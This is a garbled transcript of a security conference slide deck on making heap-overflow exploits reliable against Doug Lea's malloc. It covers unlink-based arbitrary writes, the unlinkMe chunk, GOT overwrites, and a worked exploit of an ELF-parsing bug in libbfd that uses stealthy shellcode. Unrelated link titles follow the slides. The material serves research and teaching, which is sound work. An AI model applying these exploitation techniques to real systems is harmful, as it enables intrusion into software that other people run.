Using the magic against the magician magician Nicolas
- Slides: 52
“Using the magic against the magician” magician Nicolas Waisman DSN Security, Inc www. dsnsecurity. com
Introducti (Basic skills on heap overflow will help) on • Techniques to make heap overflow exploit more reliable • Doug Lea’s malloc (<libc 2. 3) • Based on free’s unlink technique (see Reference [5]) • At the end, you will have a better idea about of how and when use serveral techniques that will help to make your exploit more reliable.
Basic Chunk’s allocated structure chunk-> p_size nextc-> p_size mem-> free mem-> fd fd bk bk … (data) nextc-> p_size |P p_size
Chunks consolidation • Every time that free is called, the algorythm tries to consolidate the boundaries chunks • Two types: - Forward Consolidation (Our chunk with next one - Backward Consolidation (Our chunk with previo • Objetives: Minimizing Fragmentation
Backward Consolidation • Check if the previous chunk isn’t in use • Locate the pointer into the previous chunk and “unl • unlink(p - p->prev_sz)
p_size fd P Backward 1) !(p->size & PREV_INUSE) Consolidation 2) p = p – p->prevsz bk P … (data) 3) unlink(p) p_size fd bk … (data) PREV_INUSE
Forward Consolidation • Check if the next chunk isn’t in use. To do this, it ha check for flag PREV_INUSE of the next chunk of ou next chunk (the 3 rd chunk). • Locate a pointer into the next chunk and “unlink()” • unlink(p+p->size)
P p_size Forward Consolidation size 1) n = p + p->sz fd 2) !((n+n->size)->size & PREV_IN bk 3) unlink(n) … (data) N p_size fd bk … (data) PREV_INUSE
Taking advantage of Chunks consolidation • Changing malloc internal structure • Forcing free() to call unlink() with our modified chun • Writing 4 arbitrary bytes (or more? ) wherever we w
Exploiting Backward consolidation (writing 4 arbitrary bytes in an arbitrary location) • Fake our prev_sz field (taking PREV_SIZE flag out), in order to make free() believe that our previous chunk is free • Fake our size field in order to point our previous chunk to our “fake” previous chunk. (p- p>prev_sz) • Finally, unlink() is triggered : D
p_size fd bk P Taking advantage of Backward 1) !(p->size & PREV_INUSE) Consolidation 2) p = p – p->prevsz … (data) -4 -4 &~PREV_INUSE SHIT pointer - 12 shellcode_addr P PREV_INUSE 3) unlink(p) (pointer-12) = shellcod_addr)
Exploiting Forward consolidation (writing 4 arbitrary bytes in a arbitrary location) • In Forward consolidation, we aren’t forced to overwrite the malloc structure of our buffer to be free()d • We could just overwrite the malloc structure of our next chunk or fake our own structures. • Fake the size of the “next” chunk (3 rd chunk) of our “next chunk” (take the PREV_SIZE flag, so free() believe that our 2 nd chunk is free) • Finally, unlink() is trigged in our “next” chunk
P p_size FD Taking advantage of Forward Consolidation 1) n = p + p->sz BK …(data) 2) !((n+n->size)->size & PREV_IN … N SHIT & ~PREV_SIZE -4 pointer - 12 shellcode_addr … (data) … 3) unlink(n) PREV_INUSE
/* abo 9. c * pbuf 1 * specially crafted to feed your brain by gera@core-sdi. com */ p_size /* free(your mind) */ FD /* I'm not sure in what operating systems it can be done */ BK int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } …(data) … pbuf 2 p_size FD BK … (data) …
“Reliable” exploit requirements • Function’s Pointer address (GOT, ctors, etc) • Shellcode Address • etc (Specific Cases)
Some techniques that helps to get our address. • Harcorded Addresses (wtf do I come from Bs. As. . ? • Information Leaking (ask jp@corest. com) • jp’s Unlike. Me Chunk (Bonus Track) • Writing 8 bytes per free • Trigger as much free as possible • etc…
Jp’s Unlink. Me Chunk technique • Technique to trigger our fake chunk when we cann what part of our controlled buffer will be “free” • Using forward consolidation technique, our free wil for our “next” chunk, using the p->size that will be on -15, -19, etc, and this will take our “next” pointer to ou chunk that is on a relative address of the place that f
jp’s Unlike. Me Chunk (Bonus (forward consolidation) Track) -4 -4 FD BK -11 ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE -15 -19 free() …
jp’s Unlike. Me Chunk (Bonus /* from jp’s article in phrack 61 Ref[3] */ Track) #define SOMEOFFSET 5 + (rand() % (SZ-1)) int main(void){ unsigned long *unlink. Me= (unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlink. Me[i++] = -4; unlink. Me[i++] = WHAT_2_WRITE; unlink. Me[i++] = WHERE_2_WRITE-8; for(; i<SZ; i++){ unlink. Me[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } free(unlink. Me+SOMEOFFSET); return 0; } -4 -4 FD BK -11 -15 -19 …
Writing 8 bytes per free() • Triggering forward and backward consolidation on th free will allow us to write 8 arbitrary bytes in 2 differen position. • As we saw before, backward consolidation use as a – p->prev_sz and forward consolidation + p->size.
Writing 8 bytes per free() • So, we need to put in our trigger chunk: -prev_sz: (1) offset to our crafted backward ch -size: (2) offset to our crafted forward chunk. • And then, put our crafted backward and forward on -bk chunk location: trigger chunk - (1) offset -fd chunk location: trigger chunk + (2) offset • Remember that our offset will be negative, so for e - bk chunk will be after our trigger chunk - fd chunk will be before our trigger chunk
Writing 8 bytes per free (double consolidation) forward -4 backward -4 FD BK -16 X forward chunk X -4 -4 BK FD backward chunk trigger chunk free()
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is a trick to “discover” our shellcode location w knowing the address of the buffer where is. • We need to know the address of a function pointer • With our 8 bytes per free technique, on our first con (backward) we write on our function ptr the address o ptr + 4, on the second consolidation (forward), we wr opcode (pop %eax, ret)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the next time our function pointer is called, w discard the real “return address” and we will be jump the function argument.
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } got[free] = got[free+4]= 0 xbfff 3 c 58 (pop %eax; ret) x 3 cx 58xffxbf pop %eax ret ( jmp pbuf 1 ) pbuf 1 p_size … shellcode forward chunk pbuf 2 -16 backward chunk … (data) …
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argv, char **argc) { char *pbuf 1=(char*)malloc(256); char *pbuf 2=(char*)malloc(256); gets(pbuf 1); free(pbuf 2); free(pbuf 1); } got[free] = got[free+4]= 0 xbfff 3 c 58 (pop %eax; ret) x 3 cx 58xffxbf pop %eax ret ( jmp pbuf 1 ) • Shellcode location • Function pointer ? ?
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc, char **argv) { char *pbuf 1=(char *)malloc(256); char *pbuf 2=(char *)malloc(256); gets(pbuf 1); free(pbuf 2); snprintf(pbuf 1, "HOLA", 4); }
Example: bug in libfd (steps to make it more reliable)
Lib BFD is a package which allows applications to use the same routines to operate on object files whatever the object file format. When an application sucessfully opens a target file (object, archive, etc), a pointer to an internal structure is returned. Note: I try many times to contact libfd developers, but I couldn’t.
Ejemplo de uso de Lib BFD #include "bfd. h“ unsigned int number_of_sections(abfd) bfd *abfd; { return bfd_count_sections(abfd); } Return the amount of sections in a transparent way without knowing the object file format.
Used by… Most of binutils’s applications • gdb • objdump • nm • strip • etc
What is ELF? ◊ Application binary format ◊ Available in most than 30 platform ◊ Used for 4 types of files: - Relocate Object Files - Executables - Dynamic Executables - Core dumps
Section Table • Array of Section Headers • Gives us information about the different file’s section (got, . data, . code, . bss, etc) • Not necesary • strip – Delete sections from the file
typedef struct { Elf 32_Word sh_name; Elf 32_Word sh_type; Elf 32_Word sh_flags; Elf 32_Addr sh_addr; Elf 32_Off sh_offset; Elf 32_Word sh_size; Elf 32_Word sh_link; Elf 32_Word sh_info; Elf 32_Word sh_addralign; Elf 32_Word sh_entsize; } Elf 32_Shdr; Offset to section Section size
bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize = i_shdrp[shindex]->sh_size; shstrtab = elf_read (abfd, offset, shstrtabsize); i_shdrp[shindex]->contents = (PTR) shstrtab; } return shstrtab; } offset = sh_offset shtstrtabsize= sh_size
static char *elf_read (bfd *abfd; file_ptr offset; bfd_size_type size) { char *buf; if ((buf = bfd_alloc (abfd, size)) == NULL) return NULL; alloc if (bfd_seek (abfd, offset, SEEK_SET) != 0) lseek return NULL; if (bfd_bread ((PTR) buf, size, abfd) != size){ if (bfd_get_error () != bfd_error_system_call) bfd_set_error (bfd_error_file_truncated); return NULL; } return buf; } read file (fread)
#define objalloc_alloc(o, l) __extension__ ({ struct objalloc *__o = (o); unsigned long __len = (l); if (__len == 0) __len = 1; __len = (__len + OBJALLOC_ALIGN - 1) &~ (OBJALLOC_ALIGN - 1); (__len <= __o->current_space ? (__o->current_ptr += __len, __o->current_space -= __len, (PTR) (__o->current_ptr - __len)) : _objalloc_alloc (__o, __len)); }) len= 0 xffff align OBJALLOC_ALIGN=0 x 4 (0 xffff+3) == 0 x 2 &~ (3) == 0 x 0
void objalloc_free (struct objalloc *o) { struct objalloc_chunk *l; l = (struct objalloc_chunk *) o->chunks; while (l != NULL) { struct objalloc_chunk *next; next = l->next; free (l); l = next; } free (o); } struct objalloc_chunk { struct objalloc_chunk *next; char *current_ptr; };
Simple Exploit SHELLCODE … struct objalloc *o ? CHUNK ADDR 2 CHUNK … ? shellcode_addr ? function_p ?
Lets take a break… enough! Time to think… • Hardcorded addresses. • unlink. Me chunk ? • Trigger many free()s in order to write as much as possible.
bk Backward Consolidation with “lchunk” (triggering free’s) 1) !(p->size & PREV_INUSE) … (data) 2) p = p – p->prevsz p_size fd P P free(l) -4 -4 &~PREV_INUSE ADDR NEXT CHUNK pointer - 12 shellcode_addr PREV_INUSE 3) unlink(p) (pointer-12) = shellcod_addr l->next l->current_ptr
Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O. S. • common got incremented by four struct objalloc_o • Raise the possiblity to hit it, adding 0 x 300 bytes of Addr to the first chunk lchunk: • Address first chunk: Relative to the beginning of the file • Next lchunk: Relative to the beginning of the buffer (adding +sizeof(lchunk) to find the next contiguos lchunk)
Lets put all together struct objalloc *o shellcode lchunk … lchunk ADDRs 2 first lchunk … lchunk ? shellcode_addr ? function_p next_lchunk
Bonus II – Doing a nice shellcode (lacria’s shellcode) • Exploiting an application to analize files • One shot • Make it the most stealth we can • Try not to mess up with the file analisis • No trace of shellcode existence
Patching the Section typedef struct { Elf 32_Word Elf 32_Addr Elf 32_Off Elf 32_Word Elf 32_Word } Elf 32_Shdr; sh_name; sh_type; sh_flags; sh_addr; sh_offset; sh_size; sh_link; sh_info; sh_addralign; sh_entsize; Old values
Wiping the shellcode Original Application shellcode
Payload (infection, reverse connection, etc) push $0 xa 3 f 6569 push $0 x 62627574 push $0 x 656 c 6574 push $0 x 20756 f 79 push $0 x 20646944 xor %ebx, %ebx inc %ebx mov %esp, %ecx mov $0 x 14, %edx mov $0 x 4, %eax int $0 x 80
Re executing stack_top … argc argv[] 0 envp[] 0 /bin/objdump -x … PWD=/home … execve(“/bin/objdump”, argv, envp) /bin/objdump
any question?
References • [1] gera’s Insecure. Programming page http: //community. corest. com/~gera/Insecure. Programming/ • [2] LIB BFD, the Binary File Descriptor Library http: //www. gnu. org/manual/bfd-2. 9. 1/html_mono/bfd. html • [3] Advanced Doug Lea’s malloc exploits (jp) http: //www. phrack. org/show. php? p=61&a=6 • [4] Advances in format string explotation (riq/gera) http: //www. phrack. org/show. php? p=59&a=7 • [5] Vudo malloc tricks (Ma. XX) http: //www. phrack. org/show. php? p=57&a=8 • [6] Linux libc sources http: //ftp. gnu. org/pub/gnu/glibc-2. 2. 5. tar. gz
GRACIAS (to Cristian, Augusto, Daemon, nahual, module, coca-cola, jp and lots of etcs) Questions? Ideas? Flames? nwaisman@dsnsecurity. com
- Tushar magician
- Phrase structure rules
- Manoj magician
- Chapter 23 using recipes student activity workbook answers
- Lesson 27 using diet to guard against disease
- System.collections.generics
- Dtfd switch
- Chụp tư thế worms-breton
- đại từ thay thế
- Quá trình desamine hóa có thể tạo ra
- Công thức tính thế năng
- Thế nào là mạng điện lắp đặt kiểu nổi
- Các loại đột biến cấu trúc nhiễm sắc thể
- Bổ thể
- Vẽ hình chiếu đứng bằng cạnh của vật thể
- Nguyên nhân của sự mỏi cơ sinh 8
- Phản ứng thế ankan
- Khi nào hổ con có thể sống độc lập
- Thiếu nhi thế giới liên hoan
- Chúa sống lại
- điện thế nghỉ
- Một số thể thơ truyền thống
- Trời xanh đây là của chúng ta thể thơ
- So nguyen to
- Tỉ lệ cơ thể trẻ em
- Tia chieu sa te
- đặc điểm cơ thể của người tối cổ
- Các châu lục và đại dương trên thế giới
- Thế nào là hệ số cao nhất
- Hệ hô hấp
- ưu thế lai là gì
- Môn thể thao bắt đầu bằng chữ đua
- Tư thế ngồi viết
- Cái miệng bé xinh thế chỉ nói điều hay thôi
- Hát kết hợp bộ gõ cơ thể
- Mật thư tọa độ 5x5
- Tư thế ngồi viết
- Gấu đi như thế nào
- Thẻ vin
- Thể thơ truyền thống
- Các châu lục và đại dương trên thế giới
- Khi nào hổ con có thể sống độc lập
- Từ ngữ thể hiện lòng nhân hậu
- Diễn thế sinh thái là
- V cc
- Vẽ hình chiếu vuông góc của vật thể sau
- Slidetodoc
- Phép trừ bù
- Lời thề hippocrates
- Carte de nicolas le germain 1482
- Nicolas szilas
- Nicolás maquiavelo
- Nicolas ponthieu